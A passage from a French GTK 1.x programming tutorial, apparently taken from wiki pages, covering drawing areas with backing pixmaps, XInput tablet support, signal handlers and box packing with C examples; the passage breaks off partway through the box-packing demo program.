(GtkDrawingArea *darea, gint width, gint height); Cette taille par défaut peu être surchargée en appelant gtk_widget_set_usize() et celle-ci, à son tour, peut être surchargée si l'utilisateur modifie manuellement la taille de la fenêtre contenant la zone de dessin. Il faut noter que lorsque l'on crée un widget DrawingArea, nous sommes complètement responsable du dessin du contenu. Si notre fenêtre est cachée puis redécouverte, nous recevrons un événement d'exposition et devrons redessiner ce qui a été caché auparavant. Devoir se rappeler tout ce qui a été dessiné à l'écran pour pouvoir correctement le redessiner peut s'avérer, c'est le moins que l'on puisse dire, pénible. De plus, cela peut être visible si des portions de la fenêtre sont effacées puis redessinées étape par étape. La solution à ce problème est d'utiliser un pixmap d'arrière-plan qui n'est pas sur l'écran. Au lieu de dessiner directement à l'écran, on dessine sur une image stockée dans la mémoire du serveur et qui n'est pas affichée, puis, lorsque l'image change ou lorsque de nouvelles portions de l'image sont affichées, on copie les parties adéquates sur l'écran. Pour créer un pixmap mémoire, on appelle la fonction&nbsp: GdkPixmap* gdk_pixmap_new (GdkWindow *window, gint width, gint height, gint depth); Le paramètre windows indique une fenêtre GTK de laquelle ce pixmap tire certaines de ses propriétés. width et height précisent la taille du pixmap. depth précise la profondeur de couleur, c'est-à-dire le nombre de bits par pixel, de la nouvelle fenêtre. Si cette profondeur vaut -1, elle correspondra à celle de window. Nous créons le pixmap dans notre gestionnaire "configure_event". Cet événement est généré à chaque fois que la fenêtre change de taille, y compris lorsqu'elle initialement créée. /* Pixmap d'arrière-plan pour la zone de dessin */ static GdkPixmap *pixmap = NULL; /* Création d'un nouveau pixmap d'arrière-plan de la taille voulue */ static gint configure_event (GtkWidget *widget, GdkEventConfigure *event) { if (pixmap) { gdk_pixmap_destroy(pixmap); } pixmap = gdk_pixmap_new(widget->window, widget->allocation.width, widget->allocation.height, -1); gdk_draw_rectangle (pixmap, widget->style->white_gc, TRUE, 0, 0, widget->allocation.width, widget->allocation.height); return TRUE; } L'appel à gdk_draw_rectangle() remet le pixmap à blanc. Nous en dirons un peu plus dans un moment. Notre gestionnaire d'événement d'exposition copie alors simplement la partie concernées du pixmap sur l'écran (on détermine la zone qu'il faut redessiner en utilisant le champ event->area de l'événement d'exposition)&nbsp: /* Remplit l'écran à partir du pixmap d'arrière-plan */ static gint expose_event (GtkWidget *widget, GdkEventExpose *event) { gdk_draw_pixmap(widget->window, widget->style->fg_gc[GTK_WIDGET_STATE (widget)], pixmap, event->area.x, event->area.y, event->area.x, event->area.y, event->area.width, event->area.height); return FALSE; } Nous avons vu comment garder l'écran à jour avec notre pixmap, mais comment dessine-t-on réellement ce que l'on veut dans le pixmap ? Il existe un grand nombre d'appels dans la bibliothèque GDK de GTK pour dessiner sur des dessinables. Un dessinable est simplement quelque chose sur lequel on peut dessiner. Cela peut être une fenêtre, un pixmap, ou un bitmap (une image en noir et blanc). Nous avons déjà vu plus haut deux de ces appels, gdk_draw_rectangle() et gdk_draw_pixmap(). La liste complète est&nbsp: gdk_draw_line () gdk_draw_rectangle () gdk_draw_arc () gdk_draw_polygon () gdk_draw_string () gdk_draw_text () gdk_draw_pixmap () gdk_draw_bitmap () gdk_draw_image () gdk_draw_points () gdk_draw_segments () Consultez la documentation de référence ou le fichier en-tête <gdkgdk.h>/ pour plus de détails sur ces fonctions. Celles-ci partagent toutes les mêmes deux paramêtres. Le premier est le dessinable sur lequel dessiner, le second est un contexte graphique (GC). Un contexte graphique encapsule l'information sur des choses comme les couleurs de premier et d'arrière plan et la largeur de ligne. GDK possède un ensemble complet de fonctions pour créer et manipuler les contextes graphiques, mais, pour simplifier, nous n'utiliserons que les contextes graphiques prédéfinis. Chaque widget a un style associé (qui peut être modifié dans un fichier gtkrc, voir la section sur les fichiers rc de GTK). Celui-ci, entre autres choses, stocke plusieurs contextes graphiques. Quelques exemples d'accès à ces contextes sont&nbsp: widget->style->white_gc widget->style->black_gc widget->style->fg_gc[GTK_STATE_NORMAL] widget->style->bg_gc[GTK_WIDGET_STATE(widget)] Les champs fg_gc, bg_gc, dark_gc et light_gc sont indexés par un paramètre de type GtkStateType qui peut prendre les valeurs&nbsp: GTK_STATE_NORMAL, GTK_STATE_ACTIVE, GTK_STATE_PRELIGHT, GTK_STATE_SELECTED, GTK_STATE_INSENSITIVE Par exemple, pour GTK_STATE_SELECTED, la couleur de premier plan par défaut est blanc et la couleur d'arrière plan par défaut est bleu foncé. Notre fonction draw_brush(), qui réalise le dessin à l'écran est alors&nbsp: /* Dessine un rectangle à l'écran */ static void draw_brush (GtkWidget *widget, gdouble x, gdouble y) { GdkRectangle update_rect; update_rect.x = x - 5; update_rect.y = y - 5; update_rect.width = 10; update_rect.height = 10; gdk_draw_rectangle (pixmap, widget->style->black_gc, TRUE, update_rect.x, update_rect.y, update_rect.width, update_rect.height); gtk_widget_draw (widget, &update_rect); } Après avoir dessiné le rectangle représentant la brosse sur le pixmap, nous appelons la fonction&nbsp: void gtk_widget_draw (GtkWidget *widget, GdkRectangle *area); qui indique à X que la zone donnée par le paramètre area a besoin d'être mise à jour. X génèrera éventuellement un événement d'exposition (en combinant peut-être les zones passés dans plusieurs appels à gtk_widget_draw()) ce qui forcera notre gestionnaire d'événement d'exposition à copier les parties adéquates à l'écran. Nous avons maintenant couvert entièrement le programme de dessin, sauf quelques détails banals comme la création de la fenêtre principale. Le code source complet est disponible à l'endroit où vous avez obtenu ce didacticiel. 20.4 Ajouter le support XInput Il est maintenant possible d'acheter des périphériques bon marché, comme les tablettes graphiques qui permettent d'exprimer beaucoup plus facilement son talent qu'avec une souris. La façon la plus simple pour utiliser de tels périphériques est simplement de le faire comme un remplacement de la souris, mais cela ne tire pas partie des nombreux avantages de ces périphériques, comme&nbsp: * Sensibilité à la pression ; * rapport d'inclinaison ; * positionnement au dessous du pixel ; * entrées multiples (par exemple, un stylet avec pointe et gomme). Pour des informations sur l'extension XInput, voir XInput-HOWTO. Si l'on examine la définition complète de, par exemple, la structure GdkEventMotion, on voit qu'elle possède des champs pour supporter des informations étendues sur les périphériques. struct _GdkEventMotion { GdkEventType type; GdkWindow *window; guint32 time; gdouble x; gdouble y; gdouble pressure; gdouble xtilt; gdouble ytilt; guint state; gint16 is_hint; GdkInputSource source; guint32 deviceid; }; pressure indique la pression comme un nombre réel compris entre 0 et 1. xtilt et ytilt peuvent prendre des valeurs entre -1 et 1, correspondant au degré d'inclinaison dans chaque direction, source et deviceid précisent de deux façons différentes le périphérique pour lequel l'événement est survenus. source donne une simple information sur le type du périphérique. Il peut prendre l'une des valeurs suivantes&nbsp: GDK_SOURCE_MOUSE GDK_SOURCE_PEN GDK_SOURCE_ERASER GDK_SOURCE_CURSOR deviceid précise un ID numérique unique pour le périphérique. Il peut être utilisé pour trouver des informations supplémentaires sur le périphérique en utilisant l'appel gdk_input_list_devices() (voir ci-dessous). La valeur spéciale GDK_CORE_POINTER sert à désigner le périphérique de pointage principal (habituellement la souris). Valider l'information supplémentaire sur un périphérique Pour indiquer à GTK que l'on désire obtenir des informations supplémentaires sur le périphérique, on a simplement besoin d'ajouter une ligne à nos programmes. gtk_widget_set_extension_events (drawing_area, GDK_EXTENSION_EVENTS_CURSOR); En donnant la valeur GDK_EXTENSION_EVENTS_CURSOR, on indique que nous désirons les événements d'extension, mais seulement si l'on ne doit pas dessiner notre propre curseur. Voir la section Sophistications supplémentaires ci-dessous pour des plus de détails sur le dessin du curseur. Nous pourrions aussi donner les valeurs GDK_EXTENSION_EVENTS_ALL si nous voulons dessiner notre propre curseur, ou GDK_EXTENSION_EVENTS_NONE pour revenir à la situation par défaut. Toutefois, nous ne sommes pas complètement à la fin de l'histoire. Par défaut, aucun périphérique d'extension n'est autorisé. Nous avons besoin d'un mécanisme pour que les utilisateurs puissent autoriser et configurer leur extensions. GTK dispose du widget InputDialog pour automatiser cette tâche. La procédure suivante gère un widget InputDialog. Elle crée le dialogue s'il n'est pas présent et le place au premier plan sinon. void input_dialog_destroy (GtkWidget *w, gpointer data) { *((GtkWidget **)data) = NULL; } void create_input_dialog () { static GtkWidget *inputd = NULL; if (!inputd) { inputd = gtk_input_dialog_new(); gtk_signal_connect (GTK_OBJECT(inputd), "destroy", (GtkSignalFunc)input_dialog_destroy, &inputd); gtk_signal_connect_object (GTK_OBJECT(GTK_INPUT_DIALOG(inputd)->close_button), "clicked", (GtkSignalFunc)gtk_widget_hide, GTK_OBJECT(inputd)); gtk_widget_hide ( GTK_INPUT_DIALOG(inputd)->save_button); gtk_widget_show (inputd); } else { if (!GTK_WIDGET_MAPPED(inputd)) gtk_widget_show(inputd); else gdk_window_raise(inputd->window); } } (vous pouvez remarquer la façon dont nous gérons ce dialogue. En le connectant au signal "destroy", nous nous assurons que nous ne garderons pas un pointeur sur le dialogue après l'avoir détruit -- cela pourrait provoquer une erreur de segmentation). InputDialog a deux boutons "Close" et "Save", qui n'ont pas d'actions qui leur sont assignées par défaut. Dans la fonction ci-dessus, nous associons à "Close" le masquage du dialogue et nous cachons le bouton "Save" car nous n'implantons pas la sauvegarde des options XInput dans ce programme. Utiliser l'information supplémentaire d'un périphérique Lorsque l'on a validé le périphérique, on peut simplement utiliser l'information supplémentaire des champs des structures d'événement. En fait, il est toujours prident d'utiliser ces informations car ces champs auront des valeurs par défaut judicieuses même lorsque les événements supplémentaires ne sont pas autorisés. La seule modification consiste à appeler gdk_input_window_get_pointer() au lieu de gdk_window_get_pointer. Cela est nécessaire car gdk_window_get_pointer ne retourne pas l'information supplémentaire. void gdk_input_window_get_pointer (GdkWindow *window, guint32 deviceid, gdouble *x, gdouble *y, gdouble *pressure, gdouble *xtilt, gdouble *ytilt, GdkModifierType *mask); Lorsque l'on appelle cette fonction, on doit préciser l'ID du périphérique ainsi que la fenêtre. Habituellement, on aura obtenu cet ID par le champ deviceid d'une structure d'événement. Cette fonction retournera une valeur cohérente lorsque les événements ne sont pas autorisés (dans ce cas, event->deviceid aura la valeur GDK_CORE_POINTER). La structure de base des gestionnaires d'événements de déplacement et de bouton pressé ne change donc pas trop -- il faut juste ajouter le code permettant de traiter l'information supplémentaire. static gint button_press_event (GtkWidget *widget, GdkEventButton *event) { print_button_press (event->deviceid); if (event->button == 1 && pixmap != NULL) draw_brush (widget, event->source, event->x, event->y, event->pressure); return TRUE; } static gint motion_notify_event (GtkWidget *widget, GdkEventMotion *event) { gdouble x, y; gdouble pressure; GdkModifierType state; if (event->is_hint) gdk_input_window_get_pointer (event->window, event->deviceid, &x, &y, &pressure, NULL, NULL, &state); else { x = event->x; y = event->y; pressure = event->pressure; state = event->state; } if (state & GDK_BUTTON1_MASK && pixmap != NULL) draw_brush (widget, event->source, x, y, pressure); return TRUE; } On doit aussi faire quelquechose de cette nouvelle information. Notre nouvelle fonction draw_brush() dessine avec une couleur différente pour chaque event->source et change la taille du pinceau selon la pression. /* Dessine un rectangle à l'écran, la taille dépend de la pression, et la couleur dépend du type de périphérique */ static void draw_brush (GtkWidget *widget, GdkInputSource source, gdouble x, gdouble y, gdouble pressure) { GdkGC *gc; GdkRectangle update_rect; switch (source) { case GDK_SOURCE_MOUSE: gc = widget->style->dark_gc[GTK_WIDGET_STATE (widget)]; break; case GDK_SOURCE_PEN: gc = widget->style->black_gc; break; case GDK_SOURCE_ERASER: gc = widget->style->white_gc; break; default: gc = widget->style->light_gc[GTK_WIDGET_STATE (widget)]; } update_rect.x = x - 10 * pressure; update_rect.y = y - 10 * pressure; update_rect.width = 20 * pressure; update_rect.height = 20 * pressure; gdk_draw_rectangle (pixmap, gc, TRUE, update_rect.x, update_rect.y, update_rect.width, update_rect.height); gtk_widget_draw (widget, &update_rect); } En savoir plus sur un périphérique Notre programme affichera le nom du périphérique qui a généré chaque appui de bouton. Pour trouver le nom d'un périphérique, nous appelons la fonction&nbsp: GList *gdk_input_list_devices (void); qui retourne une GList (un type de liste chaînée de la bibliothèque glib) de structures GdkDeviceInfo. La structure GdkDeviceInfo est définie de la façon suivante&nbsp: struct _GdkDeviceInfo { guint32 deviceid; gchar *name; GdkInputSource source; GdkInputMode mode; gint has_cursor; gint num_axes; GdkAxisUse *axes; gint num_keys; GdkDeviceKey *keys; }; La plupart de ces champs sont des informations de configuration que l'on peut ignorer sauf si l'on implante la sauvegarde de la configuration XInput. Celui qui nous intéresse est name qui est, tout simplement, le nom que X donne au périphérique. L'autre champ, qui n'est pas une information de configuration, est has_cursor. Si has_cursor est faux, on doit dessiner notre propre curseur, mais puisque nous avons précisé GDK_EXTENSION_EVENTS_CURSOR, nous n'avons pas à nous en préoccuper. Notre fonction print_button_press() ne fait parcourir la liste retournée jusqu'à trouver une correspondance, puis affiche le nom du périphérique. static void print_button_press (guint32 deviceid) { GList *tmp_list; /* gdk_input_list_devices retourne une liste interne, nous ne devons donc pas la libérer après */ tmp_list = gdk_input_list_devices(); while (tmp_list) { GdkDeviceInfo *info = (GdkDeviceInfo *)tmp_list->data; if (info->deviceid == deviceid) { printf("Bouton pressé sur le périphérique '%s'\n", info->name); return; } tmp_list = tmp_list->next; } } Ceci termine les modifications de notre programme « XInputize ». Comme pour la première version, le code complet est disponible à l'endroit où vous avez obtenu ce didacticiel. Sophistications supplémentaires Bien que notre programme supporte maintenant XInput, il y manque des caractéristiques que l'on souhaite trouver dans les applications complètes. D'abord, l'utilisateur ne veut probablement pas avoir à configurer ses périphériques à chaque fois qu'il lance le programme et nous devons donc lui permettre de sauvegarder la configuration du périphérique. Ceci est réalisé en parcourant ce que retourne gdk_input_list_devices() et en écrivant la configuration dans un fichier. Pour restaurer un état au prochain démarrage du programme, GDK dispose de fonctions pour changer la configuration des périphériques&nbsp: gdk_input_set_extension_events() gdk_input_set_source() gdk_input_set_mode() gdk_input_set_axes() gdk_input_set_key() (La liste retournée par gdk_input_list_devices() ne doit pas être modifiée directement). Un exemple est donné dans le programme de dessin gsumi (disponible à l'adresse http://www.msc.cornell.edu/~otaylor/gsumi/). De plus, ce serait pratique d'avoir une méthode standard pour faire cela pour toutes les applications. Ceci appartient probablement à un niveau légèrement supérieur à GTK, peut-être dans la bibliothèque GNOME. Une autre grosse omission que nous avons mentionnée plus haut est l'absence de dessin du curseur. Les plates-formes autres qu'XFree86 n'autorisent pas encore l'utilisation simultanée d'un périphérique comme pointeur de base et comme pointeur d'une application. Lisez le XInput-HOWTO pour plus d'informations là-dessus. Ceci signifie que les applications qui veulent atteindre le plus de monde possible doivent dessiner leur propre curseur. Une application qui dessine son propre curseur doit faire deux choses&nbsp: déterminer si le périphérique courant a besoin ou non d'un curseur dessiné et déterminer si le périphérique courant est à proximité (si celui-ci est une tablette de dessin, il est pratique de faire disparaître le curseur lorsque le stylet est en dehors de la tablette. Lorsque le périphérique voit le stylet, on dit qu'il est « à proximité »). La première vérification est faite en recherchant dans la liste des périphériques, comme nous l'avons fait pour obtenir le nom du périphérique. La deuxième est réalisée en choisissant des événements "proximity_out". Une exemple de dessin d'un curseur personnel est donné dans le programme testinput de la distribution GTK. Previous Next Table of Contents Programmation GTK plus Types de donnees 3468 14973 2005-05-07T11:41:03Z NSV 283 3.1 Types de données Vous avez probablement noté certaines choses qui nécessitent des explications dans les exemples précédents. les gint, gchar, etc. que vous avez pu voir sont des redéfinitions de int et char, respectivement. Leur raison d'être est de s'affranchir des dépendances ennuyeuses concernant la taille des types de données simples lorsqu'on réalise des calculs. Un bon exemple est gint32 qui désignera un entier codé sur 32 bits pour toutes les plateformes, que ce soit une station Alpha 64 bits ou un PC i386 32 bits. Les redéfinitions de type sont très simples et intuitives. Elles sont toutes décrites dans le fichier glib/glib.h (qui est inclus par gtk.h). On notera aussi la possibilité d'utiliser un GtkWidget lorsque la fonction attend un GtkObject. GTK possède une architecture orientée objet, et un widget est un objet. Programmation GTK plus Complements sur les gestionnaires de signaux 3469 19120 2005-08-14T12:17:42Z 81.241.80.172 3.2 Compléments sur les gestionnaires de signaux Regardons à nouveau la déclaration de gtk_signal_connect. gint gtk_signal_connect (GtkObject *object, gchar *name, GtkSignalFunc func, gpointer func_data); Vous avez remarqué que le valeur de retour est de type gint ? Il s'agit d'un marqueur qui identifie votre fonction de rappel. Comme on le disait plus haut, on peut avoir autant de fonctions de rappel que l'on a besoin, par signal et par objet, et chacune sera exécutée à son tour, dans l'ordre dans lequel elle a été attachée. Ce marqueur vous permet d'ôter ce rappel de la liste en faisant : void gtk_signal_disconnect (GtkObject *object, gint id); Ainsi, en passant le widget dont on veut supprimer le gestionnaire et le marqueur ou identificateur retourné par l'une des fonctions signal_connect, on peut déconnecter un gestionnaire de signal. Une autre fonction permettant de supprimer tous les gestionnaires de signaux pour un objet est : gtk_signal_handlers_destroy (GtkObject *object); Cet appel n'a pas trop besoin d'explications. Il ôte simplement tous les gestionnaires de signaux de l'objet passé en paramètre. Programmation GTK plus Un Bonjour tout le monde ameliore 3470 19122 2005-08-14T12:22:53Z 81.241.80.172 3.3 Un « Bonjour tout le monde » amélioré Étudions une version légèrement améliorée avec de meilleurs exemples de fonctions de rappel. Ceci permettra aussi d'introduire le sujet suivant : le placement des wigdets. #include <gtk/gtk.h> /* Notre nouveau rappel amélioré. La donnée passée à cette fonction est * imprimée sur stdout. */ void rappel (GtkWidget *widget, gpointer *data) { g_print ("Re-Bonjour - %s a été pressé\n", (char *) data); } /* Un autre rappel */ void delete_event (GtkWidget *widget, GdkEvent *event, gpointer *data) { gtk_main_quit (); } int main (int argc, char *argv[]) { /* GtkWidget est le type pour déclarer les widgets */ GtkWidget *window; GtkWidget *button; GtkWidget *box1; /* Cette fonction est appelée dans toutes les applications GTK. * Les paramètre passés en ligne de commande sont analysés et * retournés à l'application. */ gtk_init (&argc, &argv); /* Création d'une nouvelle fenêtre. */ window = gtk_window_new (GTK_WINDOW_TOPLEVEL); /* Nouvel appel qui intitule notre nouvelle fenêtre * "Salut les boutons !" */ gtk_window_set_title (GTK_WINDOW (window), "Salut les boutons !"); /* Configuration d'un gestionnaire pour "delete_event" afin de * quitter immédiatement GTK. */ gtk_signal_connect (GTK_OBJECT (window), "delete_event", GTK_SIGNAL_FUNC (delete_event), NULL); /* Configuration de la largeur du contour de la fenêtre. */ gtk_container_border_width (GTK_CONTAINER (window), 10); /* Création d'une boîte pour y placer les widgets. * Ceci est décrit en détails plus loin dans la section * « placement ». La boîte n'est pas matérialisée, elle est juste * utilisée comme moyen d'arranger les widgets. */ box1 = gtk_hbox_new(FALSE, 0); /* On met la boîte dans la fenêtre principale. */ gtk_container_add (GTK_CONTAINER (window), box1); /* On crée un nouveau bouton portant le label « Bouton 1 ». */ button = gtk_button_new_with_label ("Bouton 1"); /* Lorsque le bouton est cliqué, on appelle la fonction « rappel » * avec un pointeur sur la chaîne « Bouton 1 » comme paramètre. */ gtk_signal_connect (GTK_OBJECT (button), "clicked", GTK_SIGNAL_FUNC (rappel), (gpointer) "Bouton 1"); /* Au lieu d'utiliser gtk_container_add, on place ce bouton dans * la boîte invisible qui a été placée dans la fenêtre. */ gtk_box_pack_start(GTK_BOX(box1), button, TRUE, TRUE, 0); /* N'oubliez jamais cette étape qui indique à GTK que la configuration * de ce bouton est terminée et qu'il peut être affiché. */ gtk_widget_show(button); /* On fait la même chose pour créer un deuxième bouton. */ button = gtk_button_new_with_label ("Bouton 2"); /* On appelle la même fonction de rappel avec un paramètre différent, * un pointeur sur la chaîne « Bouton 2 ». */ gtk_signal_connect (GTK_OBJECT (button), "clicked", GTK_SIGNAL_FUNC (rappel), (gpointer) "Bouton 2"); gtk_box_pack_start(GTK_BOX(box1), button, TRUE, TRUE, 0); /* L'ordre dans lequel on affiche les boutons n'est pas vraiment * important, mais il est préférable d'afficher la fenêtre en dernier * pour qu'elle surgisse d'un coup. */ gtk_widget_show(button); gtk_widget_show(box1); gtk_widget_show (window); /* Le reste est dans gtk_main et on attend que la fête commence ! */ gtk_main (); return 0; } Compilez ce programme en utilisant les mêmes paramètres que pour l'exemple précédent. Vous remarquerez que, maintenant, il est plus difficile de quitter le programme&nbsp: vous devez utiliser le gestionnaire de fenêtres ou une commande shell pour le détruire. Un bon exercice pour le lecteur serait d'insérer un troisième bouton « Quitter » qui permettrait de sortir du programme. Vous pouvez aussi jouer avec les options de gtk_box_pack_start() en lisant la section suivante. Essayez de redimensionner la fenêtre, et observez son comportement. Juste une remarque&nbsp: il existe une autre constante utilisable avec gtk_window_new() - GTK_WINDOW_DIALOG. Ceci permet d'interagir de façon un peu différente avec le gestionnaire de fenêtres et doit être utilisé pour les fenêtres temporaires comme les boîtes de dialogue, par exemple. Programmation GTK plus Placement des widgets 3471 14976 2005-05-07T11:41:53Z NSV 283 Lorsqu'on crée une application, on veut mettre plus qu'un simple bouton dans une fenêtre. Notre premier exemple « Bonjour le monde » n'utilisait qu'un seul widget et on pouvait donc simplement faire un appel à gtk_container_add pour « placer » le widget dans la fenêtre. Mais si l'on désire en mettre plus, comment peut-on contrôler l'endroit où le widget sera positionné ? C'est ici que le placement entre en jeu. Programmation GTK plus Theorie des boites de placement 3472 29885 2006-01-22T22:51:11Z 85.68.163.116 4.1 Théorie des boîtes de placement La majeure partie du placement est faite en créant des boîtes comme dans l'exemple ci-dessus. Ce sont des widgets containers invisibles où l'on peut placer nos widgets. Elles existent sous deux formes : boîtes horizontales et boîtes verticales. Lorsque l'on place des widgets dans une boîte horizontale, les objets sont insérés horizontalement de gauche à droite ou de droite à gauche selon l'appel utilisé. Dans une boîte verticale, les widgets sont placés de haut en bas ou vice versa. On peut utiliser n'importe quelle combinaison de boîtes à l'intérieur ou à côté d'autres boîtes pour créer l'effet désiré. Pour créer une nouvelle boîte horizontale, on appelle gtk_hbox_new(), et pour les boîtes verticales, gtk_vbox_new(). Les fonctions gtk_box_pack_start() et gtk_box_pack_end() servent à placer les objets à l'intérieur de ces containers. La fonction gtk_box_pack_start() placera de haut en bas dans une boîte verticale et de gauche à droite dans une boîte horizontale. gtk_box_pack_end() fera le contraire en plaçant de bas en haut et de droite à gauche. En utilisant ces fonctions, on peut aligner à droite ou à gauche nos widgets et même les mélanger de n'importe quelle façon pour obtenir l'effet désiré. Dans la plupart de nos exemples, on utilisera gtk_box_pack_start(). Un objet peut être un autre container ou un widget. En fait, de nombreux widgets (dont les boutons) sont eux-mêmes des containers, mais on utilise généralement seulement un label dans un bouton. En utilisant ces appels, GTK sait où vous voulez placer vos widgets et il peut donc les dimensionner automatiquement et faire d'autres choses bien pratiques. Il existe aussi plusieurs options permettant de préciser comment les widgets doivent être placés. Comme vous pouvez l'imaginer, cette méthode nous donne pas mal de liberté pour placer et créer les widgets. Programmation GTK plus Details sur les boites 3473 28259 2006-01-05T10:42:25Z 86.192.235.173 À cause de cette liberté, le placement des boîtes avec GTK peut paraître déroutant au premier abord. Il existe beaucoup d'options et il n'est pas tout de suite évident de comprendre comment elles s'accordent toutes ensemble. En fait, il y a 5 styles de base différents. Box Packing Example Image Chaque ligne contient une boîte horizontale (hbox) contenant plusieurs boutons. L'appel à gtk_box_pack indique la façon dont sont placés tous les boutons dans la hbox. Chaque bouton est placé dans la hbox de la même façon (mêmes paramètres que la fonction gtk_box_pack_start()). Voici la déclaration de la fonction gtk_box_pack_start. void gtk_box_pack_start (GtkBox *box, GtkWidget *child, gint expand, gint fill, gint padding); Le premier paramètre est la boîte dans laquelle on place l'objet, le second est cet objet. Tous les objets sont tous des boutons jusqu'à maintenant, on place donc des boutons dans des boîtes. Le paramètre expand de gtk_box_pack_start() ou gtk_box_pack_end() contrôle la façon dont le widget est placé dans la boîte. S'il vaut TRUE, les widgets sont disposés dans la boîte de façon à en occuper tout l'espace. S'il vaut FALSE, la boîte est rétrécie pour correspondre à la taille du widget. Mettre expand à FALSE vous permettra d'aligner à droite et à gauche vos widgets. Sinon, ils s'élargiront pour occuper toute la boîte. Le même effet pourrait être obtenu en utilisant uniquement une des deux fonctions gtk_box_pack_start ou pack_end. Le paramètre fill des fonctions gtk_box_pack contrôle si de l'espace supplémentaire doit être alloué aux objets eux-mêmes (TRUE), ou si on doit rajouter de l'espace (padding) dans la boîte autour des objets (FALSE). Il n'a de sens que si le paramètre expand vaut TRUE. Lorsque l'on crée une nouvelle boîte, on utilise une fonction comme : GtkWidget * gtk_hbox_new (gint homogeneous, gint spacing); Le paramètre homogeneous de gtk_hbox_new (et c'est la même chose pour gtk_vbox_new) vérifie que chaque objet de la boîte ait la même taille (i.e. la même largeur dans une hbox, la même hauteur dans une vbox). S'il vaut TRUE, le paramètre expand des fonctions gtk_box_pack sera toujours mis à TRUE. Quelle est alors la différence entre les paramètres spacing (configuré lorsque la boîte est créée) et padding (configuré lorque les éléments sont placés) ? spacing ajoute de l'espace entre les objets, et padding en ajoute de chaque côté d'un objet. La figure suivante devrait éclairer tout cela&nbsp: Box Packing Example Image Voici le code utilisé pour créer les images ci-dessus. J'y ai mis beaucoup de commentaires en espérant que vous n'aurez pas de problème pour le relire. Compilez-le et jouez avec les différents paramètres. Programmation GTK plus Programme de demonstration des placements 3474 28262 2006-01-05T10:52:16Z 86.192.235.173 4.3 Programme de démonstration des placements #include "gtk/gtk.h" void delete_event (GtkWidget *widget, GdkEvent *event, gpointer *data) { gtk_main_quit (); } /* Construction d'une nouvelle hbox remplie de boutons. Les paramètres qui * nous intéressent sont passés à cette fonction. * On n'affiche pas la boîte, mais tout ce qu'elle contient. */ GtkWidget *make_box (gint homogeneous, gint spacing, gint expand, gint fill, gint padding) { GtkWidget *box; GtkWidget *button; char padstr[80]; /* Création d'une hbox avec les paramètres homogeneous et spacing * voulus. */ box = gtk_hbox_new (homogeneous, spacing); /* Création d'une série de boutons configurés de façon appropriée */ button = gtk_button_new_with_label ("gtk_box_pack"); gtk_box_pack_start (GTK_BOX (box), button, expand, fill, padding); gtk_widget_show (button); button = gtk_button_new_with_label ("(box,"); gtk_box_pack_start (GTK_BOX (box), button, expand, fill, padding); gtk_widget_show (button); button = gtk_button_new_with_label ("button,"); gtk_box_pack_start (GTK_BOX (box), button, expand, fill, padding); gtk_widget_show (button); /* Création d'un bouton portant un label dépendant de la valeur * du paramètre expand. */ if (expand == TRUE) button = gtk_button_new_with_label ("TRUE,"); else button = gtk_button_new_with_label ("FALSE,"); gtk_box_pack_start (GTK_BOX (box), button, expand, fill, padding); gtk_widget_show (button); /* Même chose que ci-dessus mais sous forme abrégée. */ button = gtk_button_new_with_label (fill ? "TRUE," : "FALSE,"); gtk_box_pack_start (GTK_BOX (box), button, expand, fill, padding); gtk_widget_show (button); /* Récupération du paramètre padding sous forme de chaîne. */ sprintf (padstr, "%d);", padding); button = gtk_button_new_with_label (padstr); gtk_box_pack_start (GTK_BOX (box), button, expand, fill, padding); gtk_widget_show (button); return box; } int main (int argc, char *argv[]) { GtkWidget *window; GtkWidget *button; GtkWidget *box1; GtkWidget *box2; GtkWidget *separator; GtkWidget *label; GtkWidget *quitbox; int which; /* Initialisation, à ne jamais oublier ! :) */ gtk_init (&argc, &argv); if (argc != 2) { fprintf (stderr, "usage : %s num, où num vaut 1, 2, ou 3.\n", *argv); /* Nettoyage dans GTK et sortie avec un code d'erreur de 1 */ gtk_exit (1); } which = atoi (argv[1]); /* Création de notre fenêtre. */ window = gtk_window_new (GTK_WINDOW_TOPLEVEL); /* Il ne faut jamais oublier de connecter le signal "destroy" à la * fenêtre principale. C'est très important pour disposer d'un * comportement intuitif adéquat. */ gtk_signal_connect (GTK_OBJECT (window), "delete_event", GTK_SIGNAL_FUNC (delete_event), NULL); gtk_container_border_width (GTK_CONTAINER (window), 10); /* Création d'une boîte verticale (vbox) pour y placer les boîtes * horizontales. * Ceci permet de placer les boîtes horizontales contenant les boutons * les unes au dessus des autres dans cette vbox. */ box1 = gtk_vbox_new (FALSE, 0); /* L'exemple à afficher. Ils correspondent aux images ci-dessus. */ switch (which) { case 1: /* Création d'un label. */ label = gtk_label_new ("gtk_hbox_new (FALSE, 0);"); /* Alignement du label à gauche. On précisera cette fonction ainsi * que les autres dans la section sur les attributs des widgets. */ gtk_misc_set_alignment (GTK_MISC (label), 0, 0); /* Placement du label dans la boîte verticale (vbox box1). Il ne * faut pas oublier que les widgets qui s'ajoutent à une vbox sont * placés les uns au dessus des autres. */ gtk_box_pack_start (GTK_BOX (box1), label, FALSE, FALSE, 0); /* Affichage du label */ gtk_widget_show (label); /* On appelle notre fonction de construction de boîte : * homogeneous = FALSE, spacing = 0, * expand = FALSE, fill = FALSE, padding = 0 */ box2 = make_box (FALSE, 0, FALSE, FALSE, 0); gtk_box_pack_start (GTK_BOX (box1), box2, FALSE, FALSE, 0); gtk_widget_show (box2); /* On appelle notre fonction de construction de boîte : * homogeneous = FALSE, spacing = 0, * expand = FALSE, fill = FALSE, padding = 0 */ box2 = make_box (FALSE, 0, TRUE, FALSE, 0); gtk_box_pack_start (GTK_BOX (box1), box2, FALSE, FALSE, 0); gtk_widget_show (box2); /* Paramètres : homogeneous = FALSE, spacing = 0, * expand = TRUE, fill = TRUE, padding = 0 */ box2 = make_box (FALSE, 0, TRUE, TRUE, 0); gtk_box_pack_start (GTK_BOX (box1), box2, FALSE, FALSE, 0); gtk_widget_show (box2); /* Création d'un séparateur, on verra cela plus tard, mais ils sont * simples à utiliser. */ separator = gtk_hseparator_new (); /* Placement du séparateur dans la vbox. Ne pas oublier que tous les * widgets sont placés dans une vbox et qu'il seront placés * verticalement. */ gtk_box_pack_start (GTK_BOX (box1), separator, FALSE, TRUE, 5); gtk_widget_show (separator); /* Création d'un nouveau label et affichage de celui-ci. */ label = gtk_label_new ("gtk_hbox_new (TRUE, 0);"); gtk_misc_set_alignment (GTK_MISC (label), 0, 0); gtk_box_pack_start (GTK_BOX (box1), label, FALSE, FALSE, 0); gtk_widget_show (label); /* Paramètres : homogeneous = TRUE, spacing = 0, * expand = TRUE, fill = FALSE, padding = 0 */ box2 = make_box (TRUE, 0, TRUE, FALSE, 0); 